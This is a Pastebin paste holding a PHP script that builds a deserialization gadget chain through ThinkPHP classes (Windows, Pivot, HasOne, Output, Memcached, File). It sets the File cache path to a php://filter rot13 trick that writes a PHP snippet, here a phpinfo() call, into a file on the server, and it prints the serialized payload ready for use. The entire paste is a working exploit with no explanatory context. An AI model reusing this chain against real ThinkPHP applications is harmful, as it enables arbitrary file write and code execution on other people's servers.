Advertisement
Guest User

Untitled

a guest
Feb 21st, 2020
165
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.76 KB | None | 0 0
  1. <?php
  2.  
  3.  
  4. //File类
  5.  
  6.  
  7. namespace think\cache\driver;
  8.  
  9.  
  10. class File
  11.  
  12.  
  13. {
  14.  
  15.  
  16.     protected $tag='sodayo';
  17.  
  18.  
  19.     protected $options = [
  20.  
  21.  
  22.         'expire'        => 0,
  23.  
  24.  
  25.         'cache_subdir'  => false,
  26.  
  27.  
  28.         'prefix'        => false,
  29.  
  30.  
  31.         'path'          => 'php://filter/write=string.rot13/resource=./flare/<?cuc cucvasb();?>',
  32.  
  33.  
  34.         'data_compress' => false,
  35.  
  36.  
  37.     ];
  38.  
  39.  
  40. }
  41.  
  42.  
  43.  
  44.  
  45. //Memcached类
  46.  
  47.  
  48. namespace think\session\driver;
  49.  
  50.  
  51. use think\cache\driver\File;
  52.  
  53.  
  54. class Memcached
  55.  
  56.  
  57. {
  58.  
  59.  
  60.     protected $handler;
  61.  
  62.  
  63.     function __construct()
  64.  
  65.  
  66.     {
  67.  
  68.  
  69.         $this->handler=new File();
  70.  
  71.  
  72.     }
  73.  
  74.  
  75. }
  76.  
  77.  
  78.  
  79.  
  80. //Output类
  81.  
  82.  
  83. namespace think\console;
  84.  
  85.  
  86. use think\session\driver\Memcached;
  87.  
  88.  
  89. class Output
  90.  
  91.  
  92. {
  93.  
  94.  
  95.     protected $styles = ['removeWhereField'];
  96.  
  97.  
  98.     function __construct()
  99.  
  100.  
  101.     {
  102.  
  103.  
  104.         $this->handle=new Memcached();
  105.  
  106.  
  107.     }
  108.  
  109.  
  110. }
  111.  
  112.  
  113. //HasOne类
  114.  
  115.  
  116. namespace think\model\relation;
  117.  
  118.  
  119. use think\console\Output;
  120.  
  121.  
  122. class HasOne
  123.  
  124.  
  125. {
  126.  
  127.  
  128.     //protected $foreignKey="sss"; //$this->query->removeWhereField($this->foreignKey)
  129.  
  130.  
  131.     function __construct()
  132.  
  133.  
  134.     {
  135.  
  136.  
  137.         $this->query=new Output();
  138.  
  139.  
  140.     }
  141.  
  142.  
  143. }
  144.  
  145.  
  146.  
  147.  
  148. //Pivot类
  149.  
  150.  
  151. namespace think\model;
  152.  
  153.  
  154. use think\model\relation\HasOne;
  155.  
  156.  
  157. class Pivot
  158.  
  159.  
  160. {
  161.  
  162.  
  163.     protected $append = ['getError'];
  164.  
  165.  
  166.     public function __construct()
  167.  
  168.  
  169.     {
  170.  
  171.  
  172.         $this->error=new HasOne();
  173.  
  174.  
  175.     }
  176.  
  177.  
  178. }
  179.  
  180.  
  181. //Windows类
  182.  
  183.  
  184. namespace think\process\pipes;
  185.  
  186.  
  187. use think\model\Pivot;
  188.  
  189.  
  190. class Windows
  191.  
  192.  
  193. {
  194.  
  195.  
  196.     public function __construct()
  197.  
  198.  
  199.     {
  200.  
  201.  
  202.         $this->files=[new Pivot()];
  203.  
  204.  
  205.     }
  206.  
  207.  
  208. }
  209.  
  210.  
  211. $x=new Windows();
  212.  
  213.  
  214. echo addslashes(serialize($x));
  215. echo "\n\n";
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement